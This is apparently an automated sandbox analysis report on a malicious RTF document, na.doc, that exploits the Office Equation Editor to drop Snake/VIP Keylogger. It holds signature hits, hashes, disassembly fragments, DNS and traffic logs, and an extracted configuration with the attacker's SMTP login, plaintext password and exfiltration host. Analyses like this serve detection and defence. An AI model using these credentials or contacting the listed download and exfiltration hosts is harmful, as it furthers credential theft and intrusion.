Windows Analysis Report
na.doc

Overview

General Information

Sample name: na.doc
Analysis ID: 1545180
MD5: 657e7d38172b5294be8ff81a94efe745
SHA1: e00cce89c60742889474451b7306ac6bd3c80430
SHA256: 89054ad8d24c60063c31b9c2deede4c43b6a6a84da9f657b3450a4c2346c03e3
Tags: docuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Initial sample is an obfuscated RTF file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Contains functionality to capture screen (.Net source)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for dropped file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Equation Editor Network Connection
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Binary contains a suspicious time stamp
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: na.doc Avira: detected
Found malware configuration
Source: 00000007.00000002.911170867.0000000002531000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "yugolog@falconcables.info", "Password": "7213575aceACE@@ ", "Host": "185.198.59.26", "Port": "587", "Version": "4.4"}
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "yugolog@falconcables.info", "Password": "7213575aceACE@@ ", "Host": "185.198.59.26", "Port": "587"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\qHbynE8Vgwabsy3[1].exe ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe ReversingLabs: Detection: 66%
Multi AV Scanner detection for submitted file
Source: na.doc ReversingLabs: Detection: 44%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\qHbynE8Vgwabsy3[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Joe Sandbox ML: detected

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 87.120.84.38 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49180 version: TLS 1.2
Source: Binary string: vqar.pdb source: EQNEDT32.EXE, 00000002.00000003.403025619.000000000063D000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.403029344.0000000000621000.00000004.00000020.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000005.00000000.402963037.0000000000E82000.00000020.00000001.01000000.00000004.sdmp, qHbynE8Vgwabsy3[1].exe.2.dr, cdlpohayugo39567.exe.2.dr
Source: Binary string: vqar.pdbSHA256 source: EQNEDT32.EXE, 00000002.00000003.403025619.000000000063D000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.403029344.0000000000621000.00000004.00000020.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000005.00000000.402963037.0000000000E82000.00000020.00000001.01000000.00000004.sdmp, qHbynE8Vgwabsy3[1].exe.2.dr, cdlpohayugo39567.exe.2.dr

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 001592F9h 7_2_0015903A
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 001573EDh 7_2_00157200
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 00157D77h 7_2_00157200
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 001598BBh 7_2_001594A8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 7_2_00156728
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 0015ED01h 7_2_0015EA20
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 0015F631h 7_2_0015F351
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 7_2_00156D5A
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 0015F199h 7_2_0015EEB8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 7_2_00156F39
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 0015FAC9h 7_2_0015F7E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 001598BBh 7_2_001597EA
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B8A42h 7_2_006B8748
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B2339h 7_2_006B2068
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B9D62h 7_2_006B9A68
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B3A31h 7_2_006B3760
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B6349h 7_2_006B6078
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BF372h 7_2_006BF078
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B0C41h 7_2_006B0970
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B7A41h 7_2_006B7770
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BC86Ah 7_2_006BC570
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B5A19h 7_2_006B5748
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B0311h 7_2_006B0040
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B7111h 7_2_006B6E40
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BF83Ah 7_2_006BF540
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BE052h 7_2_006BDD58
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B4321h 7_2_006B4050
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BB54Ah 7_2_006BB250
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BE51Ah 7_2_006BE220
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B1A09h 7_2_006B1738
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BCD32h 7_2_006BCA38
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B3101h 7_2_006B2E30
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BA22Ah 7_2_006B9F30
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B10D9h 7_2_006B0E08
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B7ED9h 7_2_006B7C08
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BFD02h 7_2_006BFA08
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B27D1h 7_2_006B2500
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BD1FAh 7_2_006BCF00
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B50E9h 7_2_006B4E18
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BBA12h 7_2_006BB718
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B67E1h 7_2_006B6510
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B8F0Ah 7_2_006B8C10
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B47B9h 7_2_006B44E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BE9E2h 7_2_006BE6E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B5EB1h 7_2_006B5BE0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BBEDAh 7_2_006BBBE0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B3EA1h 7_2_006B3BF8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BA6F2h 7_2_006BA3F8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B3599h 7_2_006B32C8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BD6C2h 7_2_006BD3C8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BABBAh 7_2_006BA8C0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B07A9h 7_2_006B04D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B75A9h 7_2_006B72D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B93D2h 7_2_006B90D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B1EA1h 7_2_006B1BD0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B6C7Ah 7_2_006B69A8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BC3A2h 7_2_006BC0A8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B1571h 7_2_006B12A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B8412h 7_2_006B80A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B989Ah 7_2_006B95A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B5581h 7_2_006B52B0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BEEAAh 7_2_006BEBB0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BB082h 7_2_006BAD88
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B4C51h 7_2_006B4980
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006B2C69h 7_2_006B2998
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006BDB8Ah 7_2_006BD890
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D1FEAh 7_2_006D1CF0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D4162h 7_2_006D3E68
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D033Ah 7_2_006D0040
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D1B22h 7_2_006D1828
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D330Ah 7_2_006D3010
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D37D2h 7_2_006D34D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D297Bh 7_2_006D2680
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D1192h 7_2_006D0E98
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D165Ah 7_2_006D1360
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D2E42h 7_2_006D2B48
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D0802h 7_2_006D0508
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D0CCAh 7_2_006D09D0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D3C9Ah 7_2_006D39A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006D24B2h 7_2_006D21B8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F55D9h 7_2_006F5330
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FAD11h 7_2_006FAA68
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F4021h 7_2_006F3D78
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FC721h 7_2_006FC478
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FEC49h 7_2_006FE978
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FBA19h 7_2_006FB770
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F3319h 7_2_006F3070
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F7CF1h 7_2_006F7A48
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FFA11h 7_2_006FF740
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F6FE9h 7_2_006F6D40
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F9701h 7_2_006F9458
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F89F9h 7_2_006F8750
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FCFD1h 7_2_006FCD28
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F48D1h 7_2_006F4628
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FC2C9h 7_2_006FC020
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F3BC9h 7_2_006F3920
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F62E1h 7_2_006F6038
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FDCD9h 7_2_006FDA30
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F92A9h 7_2_006F9000
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FB5C1h 7_2_006FB318
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FF0E1h 7_2_006FEE10
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F6B91h 7_2_006F68E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F5E89h 7_2_006F5BE0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FE7B1h 7_2_006FE4E0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F85A1h 7_2_006F82F8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F7899h 7_2_006F75F0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FBE71h 7_2_006FBBC8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F3771h 7_2_006F34C8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FB169h 7_2_006FAEC0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F5181h 7_2_006F4ED8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FD881h 7_2_006FD5D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FCB7Bh 7_2_006FC8D0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F4479h 7_2_006F41D0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FF579h 7_2_006FF2A8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F8E51h 7_2_006F8BA8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F8149h 7_2_006F7EA0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F9B59h 7_2_006F98B0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F5A31h 7_2_006F5788
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FE1C5h 7_2_006FDE88
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006FD429h 7_2_006FD180
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F4D29h 7_2_006F4A80
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F7441h 7_2_006F7198
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then jmp 006F6739h 7_2_006F6490
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_00765F38
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_00765F28
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_00762E16
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_00762B00
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 4x nop then lea esp, dword ptr [ebp-04h] 7_2_00762AF2
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: checkip.dyndns.org
Source: global traffic DNS query: name: reallyfreegeoip.org
Source: global traffic DNS query: name: api.telegram.org
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 193.122.6.168:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
